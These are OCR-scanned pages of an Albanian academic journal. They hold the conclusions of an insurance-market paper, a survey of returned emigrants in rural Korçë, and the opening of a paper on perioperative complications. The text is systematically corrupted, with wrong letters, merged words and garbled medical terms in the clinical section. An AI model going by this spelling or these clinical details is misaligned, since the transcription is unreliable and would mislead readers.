Tregu i sigurimeve né Shqipéri éshté relativisht i ri i krahasuar me vendet e tjera té
Evropés. Ai éshté njé treg né zhvillim gé karakterizohet nga ndryshime té shpejta.

Fitimet e kompanive té sigurimit jané tepér té larta, kjo si rezultat i cmimeve té larta
dhe mospagimi i démeve pér té cilat jané siguruar klientét. Prandaj ka lindur si
domosdoshméri liberalizimi i ¢mimeve, forcimi dhe shtimi i procedurave gé
rregullojné kété treg.

Kompanité jané mé té prirura té shtojné pasuringé e tyre sesa té pérmirésojné cilésiné
e shérbimit ndaj klientéve, kjo vihet re mé tepér te kompanité e reja.

Nga té dhénat e raporteve vjetore té kompanive té sigurimit vihet re se peshén mé té
madhe né té ardhurat totale e z&né sigurimet e detyruara(sigurimet motorike)
ndérkohé gé sigurimet vullnetare (sigurimi i pasurisg, i shéndetit) zéné njé pérgindje
té vogél. Ky raport midis sigurimeve té detyrueshme dhe vullnetare éshté i
kuptueshém pasi té ardhurat e popullsisé sé vendit toné vazhdojné té jené té ulta po
ashtu mungon dhe tradita e njé sigurimi vullnetar, pa haruar t& pérmendim dhe
gamén e ngushté té produkteve té ofruara.

Disa prej kompanive té sigurimit, kryesisht ato mé té reja ofrojné gmime té policave
té sigurimit poshté atyre té miratuara nga Ministria e Financave. Kjo démton
kompanité e tjera té cilat fonksionojné né bazé té ligjit, largon klientét si rezultat i
konkurencés sé pandershme.

Vihet re njé vémendje e madhe nga ana e investitoréve té huaj té cilét kané bleré
disa prej kompanive mé té mira né treg. Kjo hyrje e kompanive té huaja né treg do té
keté ndikime né treg, sidomos né prezantimin e produkteve té reja, do té krijojé
frymémarrje pér té gjithé biznesin, do té sjellé koncepte té reja dhe njé ményré té re
té té bérit biznes.

Tregu i sigurimeve premtonzhvillime potenciale pér té ardhmen.

Rekomandime

Shtimi i kontrollit nga institucionet pérkatése, mbikqyrja e tregut pér t€ shmangur
praktikat abuzive, si dhe marrja e masave ndéshkuese deri né pezullim licence pér
ato kompani gé abuzojné.

Eshté e domosdoshme qé kompanité té pérmirésojné shérbimin ndaj klientéve té tyre
duke u pérgéndruar né njé trajtim té shpejté dhe real té démeve.

Kompanité e sigurimit konkurojné me njé numér té kufizuar produktesh kjo bén gé i
gjithé tregu té jeté i fokusuarné njé gamé té ngushté sigurimesh. Futja e produkteve
té reja do t’i japé mé tepér gjalléri tregut, ¢do kompani mund té pérgéndrohet né ato
sigurime gé ajo i plotéson mé miré. Nga ana tjetér klientét do té kené mé shumé
mundési zgjedhjeje dhe njé shérbim mé cilésor.

Né vendin toné ende mungon kultura e sigurimit vullnetar. Ndérkohé gé né Evropé
primi pér frymé éshté 400-500 euro, tek ne kjo vleré &shté shumé e ulét. Pér ta
ndryshuar kété situaté duhet té béhet ndérgjegjésimi i opinionit publik pér réndésiné
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e sigurimeve vullnetare ‘‘jetojmé né njé boté t&€ pasigurt ku n€ ¢do moment mund t&€

ndodhé njé ngjarje e pakéndéshme, kalimi i njé pjese té riskut te kompanité e

sigurimit do t& ishte zgjidhja mé€ e miré’’.
Né Shqipéri kompanité aplikojné tarifa fikse sigurimi pér automjetet, ndryshe
nga vendet peréndimoreku merren parasysh njé séré detajesh. Fakti nése je njé
drejtues mjeti i ri apo me pérvojé duhet té luajé njé rol té réndésishém né sasiné
e parave gé individi paguan né kompaniné e sigurimit. Gjithashtu numri i
aksidenteve dhe gjobave (penalizimeve) gé mund té keté njé individ duhet té jeté
shumé domethénés. Prandaj éshté i réndésishém pérmirésimi i menaxhimit
strategjik.

Nga zhvillimet e deritanishme té tregut duket se é&shté domosdoshméri rishikimi
i kuadrit ligjor té sigurimeve.

Liberalizimi i gmimeve do té rrité konkurencén midis kompanive té sigurimit, té
cilat duke synuar té kapin sa mé shumé pjesé né treg do té ulin ¢gmimet. Kjo do
té sjellé pérfitim pér t€ siguruarit sepse kété gjé do t’a béjné edhe kompanité té
cilat jané té afta té ofrojné njé shérbim cilésor. Konkurenca do béjé gé individét
té sigurohen liré nga kompanité mé témira té sigurimit. Aktualisht jané kryesisht
kompanité e vogla gé aplikojné kété praktiké por shérbimi nga ana e tyre 1é
shumé pér té déshiruar.
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PROBLEME SOCIALE DHE EKONOMIKE TE EMIGRANTEVE TE
ARDHUR NGA EMIGRIMI NE ZONEN RURALE

Yllson Manoku®, Mamica Nene, Erion Nexhipi*
Universiteti “Fan S. Noli”, Korg¢é

Pérmbledhje

Kthimi i emigrantéve né vendet e origjinés éshté njé fenomen historik i njohur dhe
né vendin toné. Zakonisht kthimi béhet né moshé té avancuar, kur jané plotésuar
géllime té caktuara, pér té investuar kursimet nga té ardhurat né emigracion etj. Né
vitet e fundit kemi njé kthim mé masiv té emigrantéve sidomos nga Gregia dhe
Italia. Ky kthim shogérohet me probleme ekonomike dhe sociale gé né disa aspekte
jané mé té ndjeshme né zonén rurale. Fokusi i kétij shkrimi éshté njohja e shkageve
té kthimit si dhe problemet ekonomike dhe sociale t& emigrantéve té kthyer né zonén
rurale. Nga té anketuarit rezultoi se 75-76 pérgind jané kthyer nga Gregia dhe 21. 1
pérgind nga ltalia dhe diferenca nga vende té tjera. Pér mbi 59 pérgind shkak i
kthimit ka gené humbja e vendit té punés. Pas kthimit, 50 pérgind jané vetépunésuar
né bujgési ndérsa né aktivitetet jo bujgésore rreth 24 pérgind, kryesisht né tregti,
prodhim materiale ndértimi, punime alumini, servise makinash etj. Problemet me té
cilét jané ndeshur fémijét jané ato té gjuhés 54. 3 pérgind né nivel mesatar dhe
shumé, né ményrén e jetesés 64 pérgindné nivelin mesatar dhe shumé dhe mbi 66
pérgind e kané shumé problem shkollimin. Pér véshtirésité me té cilat jané ndeshur,
25. 5 pér gind jané t& mendimit se do té kthehen né emigrim ndérsa 58. 1 pér gind
jané té pavendosur.

Fjalé kyge. Emigrim, kthim i emigrantéve, punésim, probleme sociale.

Abstract

In the recent yearsmany people are returning from emigration. Focus of this article
is return of emigrants tothe rural area. For this aim are asked 134 emigrants. About
75-76 per cent of emigrants are returned from Greece and 21.1 percent from lItaly.
For over than 59 percent of them main reason was losing the job, 26. 3 percent for
family reasons, and 10.5 percent because had achieved the aims. After return 50
percent are self-employed in agriculture, about 24 percent in activities out
agriculture (retailing, production of construction materials, car serves etc.)The
emigrants need for assistance and information about activities more profitable to
investment. Besides the parents, and children are faced with difficulties related to
language, lifestyle, education etc. Thus for over than 66 percent of children in rural
schoolshave too much difficulty on the education.

Hyrje

Vite mé paré kemi shkruar pér njé fenomen té rishfaqur fugishém gé né fillimet e
demokratizimit t& vendit, pér emigracionin masiv gé filloi né njé ményré specifike
me hyrjet masive né ambasadat e huaja, vazhdoi me kalimin masiv té Kkufirit
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shtetéror dhe vazhdon né ményré té rrallé me viza. Flitet pér rreth njé milion
emigranté, pjesa mé e madhe e té ciléve né shtetet fginje Greqi dhe Itali.

Mbas rreth dy dekadave jemi t€ imponuar t€ shkruajmé pér “emigrimin” e njé pjese
té tyre né vendlindjen e tyre. Ky, nuk éshté njé fenomen i izoluar shqiptar. Sipas
statistikave té Bashkimit Evropian né vitin 2010 i kané I&né kéto vende mbi 2 milion
njeréz. Historia e emigrimeve tregon se rikthimi né vendet e tyre éshté njé proces
normal. Ajo gé vlen té analizohet jané shkaget e kthimit masiv, problemet me té
cilat ballafagohen té kthyerit né aspektet ekonomike dhe sociale sidomos né zonén
rurale. Ky éshté dhe fokusi i kétij shkrimi.

Metoda

Jané pérdorur té dhéna sekondare mbi emigrimin gjaté viteve, por té& dhénat
primare jané determinante. Pér kété géllim shérbeu anketimi i mé shumé se 130
personave té kthyer né zonén rurale ku pérfshiheshin fshatra gé jané vendosur né
zonén fushore, kodrinore dhe malore.

Nga té anketuarit 37. 3 pérgind ishin té moshés 30 - 35 vjet, 15. 7 pérgind té moshés
36- 40 vjet dhe té tjerét mbi moshén 40 vjet. Pjesa mé e madhe ishin me arsim té
mesém 58. 2 pérgind dhe arsim deri tetévjecar 40. 3 pér gind.

Pérpunimi i té dhénave té grumbulluara népérmijet pyetésorit u bé népérmjet
programit kompjuterik SPSS.

Rezultatet dhe diskutimi i tyre
a. Viti i emigrimit

Emigrantét e kthyer kané emigruar né vite t& ndryshme. Tabela 1.

Vitet Né %
1990-1996 28.3
1997-2000 32.9
2001-2005 26.2
Pas vitit 2006 12.6

Gjithsej 100.0

Tabela 1. Periudhat e emigrimit

Sikurse shihet pjesa mé e madhe e emigrantéve té kthyer kané emigruar gjaté viteve
1997-2000, 32. 9 pérqind, gé sikurse &shté njohur lidhet me tronditjet sociale,
ekonomike dhe politike té ndodhura né vitet 1997 dhe 1998.

Periudha e emigrimit lidhet me vitet e géndrimit né emigracioni. Tabela 2.
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Vitet e géndrimit Né %

Deri 5vjet 20. 3
6-10 vjet 34.6
Mbi 10 vjet 45. 1
Gjithsej 100.0

Tabela 2. Koha e géndrimit né emigracion

Mbi 45 pérgind e atyre gé jané kthyer kané géndruar mbi 10 vjet dhe 6-10 vjet 34. 6
pérgind. Mund té themi géndrimi i tyre né emigracion ka zgjatur pér njé kohé
relativisht té gjaté, cka ka ndikuar né pérshtatjen mé té madhe té tyre me njé ményré
jetese té ndryshme nga ajo e méparshme.

b. Vendi i géndrimit né emigracion

Jané shumé arsye gjeografike, ekonomike etj. , qé pjesa dérmuese e emigrantéve nga
rajoni i Korgés té kené zgjedhur Greqiné. Kjo sjell gé edhe té kthyerit té pérbéjné
peshén kryesore té atyre té té kthyerve.

Tabela 3.

Vendi Né %
Greqi 75.8
Itali 21.1
Té tjera 3.1
Gjithsej 100.0

Tabela 3. Té kthyerit sipas vendit té emigrimit

Sikurse shihet 75-76 pérgind e té kthyerve kané punuar dhe jetuar né Greqi ndérsa
rreth 21 pérqgind né Itali dhe diferenca prej 3. 1 pérgind né vende té tjera.

c.Demografité e té kthyerve

Nga pérpunimi i té dhénave rezultoi se 41. 2 pérgind e té kthyerve kané emigruar sé
bashku me familjen ndérsa diferenca 58. 8 pérqgind pa familje. Madhésia e familjes
rezultoi: me dy persona 14. 3 pér gind, me tre 25. 7 pérgind, me katér persona 47. 1
pérgind dhe mbi 4 persona 12. 9 pérgind. Mbizotéron familja me katér persona. Né
ményré té pérafért mund té gjykojmé gé familjet me mbi dy fémijé pérbéjné rreth 60
pér gind t& numrit t& pérgjithshém. Mosha mesatare e fémijéve éshté e ndryshme.
Tabela 4.

Grupmosha 6-10 vjet pérbén 44. 4 pérgind ndérsa mbi 10 vjet 28. 6 pérgind. Nga
familjet e kthyera rreth 21 pérgind, kané 1éné fémijé né vendin e emigrimit. Shkaget
pér Iénien e fémijéve jané pér puné 41. 6 pérgind dhe pér té vazhduar studimet né
nivele t& ndryshme 58. 4 pérqind.
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Mosha NE %

Deri 5 vjet 27.0
6-10 vjet 44. 4
Mbi 10 vjet 28.6
Gjithsej 100.0

Tabela 4. Mosha e fémijéve

Dérgimi i njé sasie té ardhurash nga puna né emigracion éshté njé fenomen i njohur.
Dérgesat e tyre kané gené njé faktor shumé i réndésishém né pérmirésimin e jetesés
té familjeve né vendin toné si dhe né zhvillimin ekonomik té vendit. Rénia e nivelit
té dérgesave ka ndikuar né uljen e ndjeshme té konsumit dhe té zhvillimit té vendit.
Edhe té anketuarit nuk mund té shmangen nga kjo dukuri. (Tabela 5).

Sasia e dérguar NE %
mesatarisht né vit (Euro)

Deri 2000 28.1
2001-3000 22.4
3001-4000 24. 3
4001-5000 10.7
5001-6000 5.8
Mbi 6000 8.7
Gjithsej 100.0

Tabela 5. Dérgesat mesatare vjetore

Sikurse tregohet nga té dhénat pjesa mé e madhe e dérgesave ka gené deri né 4000
euro né vit. Megjithése né numér té pakté ka pasur dérgesa dhe deri né 15000 euro
né vit.

d.Pérdorimi i dérgesave

Pérdorimi i dérgesave ka gené i ndryshém sipas viteve. Né fillim ato ishin kryesisht
pér nevojat e pérditshme sidomos pér ushgime. Mé voné pjesa mé e madhe e tyre u
pérdorén pér té pérmirésuar kushtet e banimit dhe pér nevoja té prodhimit. Tabela 6.

Pérdorimi i dérgesave Né %
Ndértime banimi 41.7
Biznes bujgésor etj. 12.2
Ushgime etj. 46.1
Gjithsej 100.0

Tabela 6. Pérdorimi i dérgesave
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Banesat né zonén rurale tani jané né pjesén mé té madhe té ndryshuara térésisht
duke i dhéné njé pamje krejt té re fshatrave. Kjo ka pérmirésuar ndjeshém kushtet e
jeteseés.

e.Shkaget e kthimit
Jané disa arsye pérse emigrantét jané kthyer né vendlindje. Tabela 7.

Emértimi Né %
Humbja e vendit té punés 59. 4
Arsye familjare 26. 3
Arrita synimet 10.5
Té tjera 3.8

Gjithsej 100.0

Tabela 7. Shkaqet e kthimit

Shkaku kryesor i kthimit sikurse tregohet éshté humbja e vendit té punés pér shkak
té krizés né té dy vendet Greqi dhe Itali. Nga analiza e vitit té kthimit rezulton garté
se pjesa dérmuese e emigrantéve jané kthyer né prag dhe né vitet e krizés. Vetém
10. 5 pérgind jané kthyer pér shkak se kané arritur géllimet dhe jané kthyer pér té
zhvilluar biznes né ményré té drejtpérdrejté. Nése Kkjo shifér do té ishte
predominante, mund té shpreheshim se kthimi éshté normal.

€. Punésimi pas kthimit

Gjaté géndrimit pér njé kohé relativisht té gjaté emigrantét kané mésuar zanate té
ndryshme duke sjellé njé fleksibilitet t& larté né tregun e punés. Tabela 8.

Aktivitetet Né %
Bujgési 50.0
Aktivitet privat jashté bujgésisé 24. 3
Punétor né té tretét 25.7
Gjithsej 100.0

Tabela 8. Punésimi i emigrantéve mbas kthimit

Gjysma e emigrantéve jané punésuar né bujgési. Kjo éshté normale kur mundésité
né sektorét e tjeré jané ende té kufizuara. Rreth 26 pérgind jané punésuar né té tretét.
Aktivitetin privat jashté bujgésisé e zhvillojné né fshat 72. 7 pérqgind ndérsa
diferenca né gytet. Nga aktivitetet e punésimit jashté bujgésisé jané kryesisht né
tregti, mobilieri, ndértim e materiale ndértimi, ofigina etj.Arsyet pse iu kthyen
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pérséri bujgésisé jané: kété puné kané kryer dhe mé paré 26. 9 pérgind; se ju pélgen
23. 9 pérgind; se nuk kané mundési té tjera 35. 8 pérgind dhe nuk kané profesion
tjetér 13. 4 pérgind.

Aktivitetin bujgésor e zhvillojné né pronén e tyre 49. 3 pérgind; né pronén e tyre dhe
toké té marré me qgira 43. 7 pérgind dhe 7 pérgind né toka té marra me gira.

Pér ngritjen e biznesit jo bujgésor kané marré konsulenté vetém 7 pérgind. Disa
emigranté u shprehén se nuk e dinin se ku duhej té konsultoheshin.

g.Problemet gé shgetésojné fémijét e kthyer

Kthimi ka pasur probleme jo vetém pér té rriturit por edhe pér fémijét. Problemet né
kété aspekt i analizuam lidhur me gjuhén, ményrén e jetesés, argétimin, shkollén etj.

Gjuha

Problemet me gjuhén ishin né nivele té€ ndryshme. Késhtu 16. 4 pérgind jané
shprehur se nuk e kishin aspak problem; 25. 3 pérgind e kishin pak; 24 pérgind
mesatarisht dhe 34. 3 pérgind shumé. Nga analiza e pérgjigjeve rezultoi se ato ishin
té ndikuara kryesisht nga mosha, familja etj. Fémijét gé kishin emigruar né moshé
shumé té vogél ose kishin lindur né vendin ku kishin emigruar prindérit e kishin mé
shumé problem. Sigurisht qé edhe familja ndikon né njé shkallé té& konsiderueshme.
Véshtirési pothuajse té gjithé fémijét shfagnin né gjuhén e shkruar.

Meényra e Jetesés

Edhe pér sa i takon ményrés sé jetesés fémijét kané shfaqur probleme: 3. 2 pérgind
nuk e kané ndjeré ndryshimin; 33 pérgind e kané ndieré pak; 38. 5 pérgind né
nivelin mesatar dhe 25. 3 pérgind e kané pérjetuar shumé. Fémijét né moshén e
adoleshencés e kané pérjetuar mé fugishém.

Sigurisht, pér fémijét gé kthehen té jetojné né zonén rurale problemet jané edhe mé
té médha se ata gé jetojné né qytete.

Argétimi

Kuptohet gé né qytetet e Greqisé apo Italisé, mundésité pér té kaluar sa mé miré
kohén e liré jané té pakrahasueshme me ato né fshat, prandaj edhe kthimi éshté
pérjetuar ndjeshém pér pjesén mé té madhe té fémijéve té kthyer. Késhtu
mesatarisht e kané ndjeré rreth 64-65 pérqgind e fémijéve té kthyer.

Shkolla

Pér fémijét né moshén e shkollés deri né até néntévjecar problemet me shkollén jané
edhe mé t€ médha. Kjo lidhet me njé séré faktorésh sidomos me gjuhén, ményrén e
té dhénit mésim, ményrén e kontrollit té dijeve, mjedisin ku zhvillohet mésimi etj.
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Né fshat mjediset e mésimdhénies kané mé shumé peshé se né gytet. Mbi 66
pérgind jané shprehur se pérshtatjen e kané shumé problem. Kjo, tregon se kujdesi
pér edukimin e fémijéve né emigracion duhet té rritet né ményré té ndjeshme nga
ana sasiore dhe cilésore.

h. Mundésia pér riemigrim

Né qytete éshté véné re njé dukuri. Disa nga emigrantét pasi jané kthyer dhe kané
géndruar pér njé kohé jané kthyer pérséri né emigracion. Arsyet mund té kené gené
té ndryshme por kryesorja lidhet me punésimin e tyre dhe té pjesétaréve té tjeré té
familjes. Né fshat ky fenomen éshté mé pak i pérhapur tani pér tani. Kjo vjen
kryesisht me faktin gé¢ mund t€ merren me aktivitet bujgésor pasi kané njéfaré
pronésie. Ne, analizuam kété fenomen né zonén rurale. Nga analiza rezultoi se 16. 4
pérgind e té pyeturve nuk kané ndérmend né té ardhmen té kthehen né emigracion,
25. 5 pérgind kané ndérmend té kthehen dhe 58. 1 pérgind jané té pavendosur.

Pérfundime

-Fenomeni i kthimit té emigrantéve né vendin e tyre éshté njé fenomen historikisht i
njohur edhe pér vendin toné. Por ky kthim éshté relativisht i shpejté dhe lidhet
pothuajse térésisht me krizén ekonomike gé po kalojné vendet e Evropés
Peréndimore sidomos Gregia dhe Italia, ku kané emigruar dhe pjesa mé e madhe e
emigrantéve nga vendi yné. Humbja e vendit té€ punés éshté njé nga arsyet kryesore
té kthimit.

-Punésimi i té kthyerve éshté béré né sektoré té ndryshém duke pasur parasysh
mundésité, kualifikimin etj. Duke pérdorur mjetet financiare té€ kursyera nga puna
né emigracion, pronésiné ekzistuese mbi tokén, vetépunésimi éshté realizuar né
bujgési dhe né aktivitete jashté bujgésisé té tjeré si punétoré krahu. Né aktivitetet
jobujgésore pjesén mé té madhe e pérbén tregtia me pakicé, prodhimi i materialeve
té ndértimit, punime té duraluminit, pika servisi pér makinat etj.

-Nése vala e kthimeve do té vazhdojé mendojmé se éshté e nevojshme pérgatitja e
programeve té vecanta gé lidhen me mundésiné e punésimit, késhillime lidhur me
sektorét mé térhegés pér investime, kreditimin né kushte lehtésuese etj.

-Qé fémijét e kthyer té kené sa mé pak probleme duhet té rritet kujdesi pér edukimin
e tyre né vendet e emigrimit. Minimalisht gjuhén shqipe té folur dhe té shkruar té
mos e kené problem né nivelin gé e kané tani.
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“KOMPLIKACIONET POTENCIALE GJATE DHE PAS KIRURGJISE”
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Pérmbledhje

Avancimet e teknologjisé dhe teknikave kirurgjikale, avancimet e instrumentave dhe
anestezisé, si. monitorimi i sofistikuar, pérdorimi i agjentéve té rinj anestetiké kané
luajtur njé rol shumé té réndésishém né pérmirésimin e komplikacioneve prej
induksionit té anestezisé, komplikacioneve pas operacionit, si ato:respiratore,
kardiake, komplikacioneve té volumit té gjakutdhe krizave metabolike. Por,
pavarésisht kétyre avancimeve pacienti pérséri éshté i riskuar ndaj komplikacioneve.
Prandaj, né sigurimin e jetés sé pacientit éshté i angazhuar njé ekip i téré kirurgjikal,
Si.. anestezisti, kirurgu, infermierét té cilét punojné sé bashku pér té zbatuar
standardet profesionale té kujdesit né parandalimin e tyre dhe pér té nxitur rezultate
té larta té pacientit. Qéllimi i Kkétij artikulli éshté qé dhénésite kujdesit sidomos
infermierét ndihmés anestezisté dhe ata gé punojné né reanimacion postoperator dhe
sallén operatore duhet té njohin disa nga komplikacionet fatale gé ndodhin
gjatéinduksionit té anestezisés pas operacionit, pacientét e riskuar, simptomat, masat
parandaluese, si dhe trajtimin bashkékohor. | éshté dhéné prioritet trajtimit té
komplikacioneve  respiratore  (aspirimi i pérmbajtjes gastrike né pulmon,
bronkospazma, laringospazma, obstruksioni i rrugeve té ajrit, embolizmi pulmonar,
kolapsi pulmonar), kardiake ( venospazma, tromboza koronare, staza venoze,
tromboza e thellé venoze, arresti kardiak), krizat metabolike (hipertermia malinje).

Fjalét celés:perioperativ, intraoperator, postoperator, komplikacione respiratore,
kardiake, kriza metabolike ( hipertermia malinje).

Abstract

Advancements in technology and surgical techniques, the promotion of sophisticated
instruments and anesthesia monitoring, the usage of neé anesthetics agents have
played a very important role in the improvement of complications during induction
of anesthesia , and after surgery such as respiratory, cardiac, and metabolic crisis.
But despite these advances patient is still prone to the risk of complications.
Therefore to ensure the patient's life is a whole team engaged as anesthetist,
surgeron, nurses who work together to implement professional standards of care in
their prevention and to promote high-quality patient outcomes. The purpose of this
article is that are providers especially assistant anesthetist and those who work in
postoperator intensive care, operating room, to recognize some of the fatal
complications that occur during the induction of anesthesia, after surgery, patients
prone to the risk, symptoms, preventive contemporary measures. It was given
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priority treatment of respiratory complications (aspiration of gastric contents in
pulmon, bronchospasm, laryngospasm, airway and respiratory obstruction,
pulmonary embolism, pulmonary collapse), cardiac (venospasma, coronary
thrombosis, venous stasis, deep vein thrombosis, and cardiacarrest), and metabolic
crises (malignant hyperthermia).

Key words:perioperative, intraoperative, postoperative, respiratory complications,
cardiac, metabolic crises (malignananthyperthermia).

Komplikacionet respiratore

Pacientét e predispozuar pér zhvillimin e komplikacioneve pulmonare jané ata me
sémundje pulmonare pre ekzistuese, si:enfizema, infeksioni, astma. Duhanpirésit
jané né risk pér shkak té irritimit kronik té traktit respirator me pasojé prodhimin e
tepért t& mukusit. Faktoré té tjeré predispozues pérfshijné: deformimet e kafazit té
kraharorit, ekstremet e moshés (kryesisht personat e moshuar), obeziteti, fakorét
intraoperatoré té tillé, si:/lofi i barnave preoperative, tipi dhe zgjatja e anestezise,
pozicioni I pacientit gjaté proceadurés kirurgjikale, zgjatja e procedurés kirurgjikale.

Aspirimi éshté njé komplikacion fatal i anestezisé gjenerale gé ndodh tecdo pacient
me pérmbajtje té ushgimit né stomak.Rritja e presionit intragastik qg&¢ mund té
rezultojé nga gjendje té tilla, si: hemorragjia gastrointenstinale, obstruksioni
intenstinal, hernia diafragmatike éshté rnyé risk pér zhvillimin e aspirimit Aspirimi i
pérmbajtjes gastrike né pulmon mund té ndodhé pér shkak té uljes sé refleksit té fytit
kur pacienti éshté jokonshient ose konshient me anestezi té fytit si né rastin e njé
bronkoskopie.Efektet e aspirimit pengojné funksionimin e pulmonit dhe
shkémbimin e gazrave.Aspirimi i Iéngjeve gastrike me aciditet té larté rezulton né
pneumonit kimik, kjo con né edemé, kolaps alveolar, dhe hipoksemi.Aspirimi i
materialve té ngurta rezulton né edemé,hipoksi té réndé, dhe obstruksion
pulmonar.Bronkospazma dhe atelektaza mund té ndigen nga pneumoniti ose
bronkopneumonia.Cianoza, dispnea, takikardia, ¢rregullimet kardiake, kolapsi
pulmonar jané disa nga simptomat e pranishme.

Trajtimi:Qéllimi éshté té asiprohet sa mé shumé té jeté e mundurdhe kufizojmé
pérmbajtjen e asaj qé ka mbetur né mushkeri. Aspirohet orofaringsi dhe pema
trakeobronkiale. Né rast se pacienti ka aspiruar sidomos material té forté qé
shkakton obstruksion pulmonar atéheré kryhet bronkoskopia pér ta hequr até. Ka
réndesi té vecanté fakti qé aspirimi duhet té ndérpritet cdo 10-15 sekonda pér té
administruar oksigjen.Oksigjenimi dhe largimi i dioksidit té karbonit jané prioriteti
kryesor.Profilaksia me antibiotiké trajton infeksionin dhe bronkodilatatorét pérdoren
pér trajtimin e spazmave.

Parandalimi:Pérfshin pérgatitjen e duhur paraoperacionit gé fillon me ndalimin e
marrjes sé léngjeve 8-10 oré para induksionit dhe administrimin me kujdes té
agjentéve anestetike. Dhénia e anesteikeve duhet té ulet afér ose né fund té
procedurés kirurgjikale duke nxitur rikthimin e refleksit té fytit. Té gjithé pacientét e
traumatizuar dhe obstetrikale gé i nénshtrohen anestezisé gjenerale duhet té trajtohen
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si té kishin njé stomak plot me ushgim dhe duhet té& intubohen duke pérdorur
shtypjen krikoide, njé tekniké gé redukton riskun e aspirimit t& pérmbajtjes gastrike
gjaté induksionit té anestezisé gjenerale gé njihet me emrin Manovra Sellick.Kerci
krikoid shtyhet kundér trupit té vertebrés sé gjashté cervicale duke shypur ezofagun
pér té parandaluar regurgitacionin pasiv. Aplikohet pérpara intubimit, menjéheré ose
pasinjeksionit t€ anestetikéve, duhet lirurar pas verifikimit té vendosjes sé tubit
endotrakeal . Tubi nazogastrik vendoset para dhe pasoperacionit. Laringospazma dhe
bronkospazma shkaktohet nga disa anestetiké, gjendje alergjike si astma, materialet
e huaja né pemén trakeobronkiale.Simptomat pérfshijné cianozé, obstruksion
respirator.

Trajtimi:Intubimi  trakeal,bronkodilatatorét si  aminofilina, isoetharina,dhe
metaproterenoli,jepen me kujdes sepse ata mund té veprojné si stimulus kardiaké
duke ndihmuar né zhvillimin e disritmive kardiake dhe arrest kardiak.

Obstruksioni i rrugéve té ajrit: Eshté pranishém né periudhén postoperatore.
Bllokimi i rrugéve té ajrit mund té ndodhé nga gjuha, sekrecionet e tepérta, ose
trupat e huaj, laringospazama apo bronkospazma, ose pozicioni i kokés me mjekér
poshté.Shenjat dhe simptomat pérfshijné: cianozé periferike (zbehje, ngjyré blu né
shtratin e thonjve dhe ekstremiteteve).Kjo ndodh si rezultat i uljes sé oksigjenimit né
nivelin kapilar. Cianoza qéndrore (zbehje, ngjyré blu ne buzé fytyré, me
gjeneralizim té sipérfages sé trupit) mund té ndodhé nése pacienti ndodhet né njé
gjéndje té hypoksemisé arteriale.

Trajtimi  konsiston né: Aspirimin e mukusit, gjakut, ngritjen e mjekres.
Adminstrimi i oksigjenoterapisé. Intubimi endotrakeal mund té jet& i nevojshém. Né
rast se déshtojné perpjekjet né rast intubimi, atéheré kryhet krikotirotomia ose nése e
lejonkoha kryhettrakeotomia.

Embolizmi pulmonar:Eshté shkaku madhor i vdekjes gjaté procedurés kirurgjikale
dhe né periudhén postopertore. Embolizmi pulmonar éshté obstruksioni i arteries
pulmonare ose njé nga degét e saj nga njé embol shpesh njé mpiksje gjaku, por
mund té jeté yndyré. Staza venoze éshté njé nga faktorét gé con né zhvillimin e
embolizmit pulmonar sidomos né regjonet me presion té ulét si venat e thella té
kémbéve dhe pelvisit aty ku marrin fillesén pjesa mé e madhe e trombeve.Ato
shképuten dhe shkojné né pulmone.Ndryshimet né murin e enéve dhe ndryshimet né
koagulimin e gjakut jané faktoré té réndésishém.Periudha e gjaté né shtratin operator
ul rrymén e gjakut né ekstrmitetet e poshtme mé shumé se 50%.Staza venoze éshté e
lidhur me obezitetin, dehidrimin, insuficiencén Kkardiake kongjestive dhe
fibrilacionin atrial. Trauma lokale né vené ose sémundjet venoze rrisin shansin e
formimit té trombit.

Parandalimi konsiston né profilaksi me anikoagulanté dhe pérdorimin e ¢orapeve té
gjata antihemolike.Pér shkak té origjinés sé trombit né venat e thella éshté e
réndesishme té observohet pacienti pasoperacionit pér tromboflebitis e evidentuar
nga nxehtesi, edemé, skugje, dhimbje né pulpén e kémbés.Ashpérsia e simptomave
varet nése embolizmi éshté i mesém ose masiv.Pacienti mund té keté dispne,
dhimbje pleurale, takipnea, takikardi, temperaturé t& moderuar ose Kkollé
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persistente.Pacientét me emboli masive mund té kené hipotension, shok, dhe cianoze
gendrore.Trajtimi i embolisé pulmonare konsiston né géndrimin né shtrat,
oksigjenoteraping, terapiné me antikoagulanté, agjentét trombolitiké, dhe ndonjéheré
procedurén kirurgjikale pér té hequr embolin ose vendosur njé filtér né vena cava,
pér té parandaluar trombet e tjera pér té arritur né pulmon.

Atelektaza (Kolapsi Pulmonar).Kolapsi parcial i pulmonit éshté njé nga problemet
e zakonshme pasoperacionit. Faktorét riskanté pérfshihen si mé poshté: anestezia,
trupat e huaj né rrugét e ajrit, mukusi gé bllokon rrugét e ajrit. Faktorét qé
ndihmojné né rritjen e prodhimit té mukusit si,disa irritanté anestetiké, si ketamina,
apo dhe veshjet e shtrénguara abdominale gé predispozojné pacientin drejt kolapsit
pulmonar. Pacienti paraget temperaturé, puls té shpejté, éshté cianotik dhe
jokonfortabél, me respiracion té cekét dhe dhimbje né kollitje.

Parandalimi dhe trajtimi:regjim i kollitjes dhe frymémarrjes sé thellé. Pozicioni
gjysmé ndenjur lejon pacientin pér njé ekspansion té pulmoneve.Dhénia e
medikamenteve pér lehtésimin e dhimbjes, ushtrimet e frymémarrjes pérmirésojné
aftésing pér té marré frymé thellé dhe u Kkollitur me efikasitet.Jastéku i vendosur né
incizionin abdominal té ndihmon né uljen e dhimbjes gjaté kollitjes.

Komplikacionet kardiake

Pacientét e predisozuar pér kéto komplikacione jané kryesisht pacienté gé kané njé
histori té problemeve kardiovaskulare, si: Aipotension, disrritmi, tromboembolizem,
tromboflebititis, infarkt myokardi, insuficiencé kardiake kongjestive.

Venospazma e shkaktuar nga dhénia e infuzioneve té ftohta. Dhénia intravené e
procainés lehtéson spazmat.

Tromboza koronare mund té ndodhé nga hipoksia e ashpér dhe mungesa e
oksigjenit né enét koronare. Ndonjéheré ndodhja e saj éshté arsyeja gé pacienti
nuk e fiton ndérgjegjen pas procedurés kirurgjikale.

Staza venoze. Rikthimi i gjakut venoz, prej ekstremiteteve té poshtme, mund té
ngadalésohet nga efektete e anestesisé gjenerale ose spinale dhe pozicioni i
ekstremiteteve té pacientit gjaté procedurés Kirurgjikale té tejzgjatur. Pér té
parandaluar tromboflebitin dhe trombozén né pacientét me sémundje
tromboembolike administrohen antikoagulanté.Pas operacionit, pacienti vendoset né
pozicionin trendelenburg me kémbét e ngritura.Fleksioni dhe ekstensioni i kémbéve,
rrotullimet e vazhdueshme, ndihmojné garkullimin.

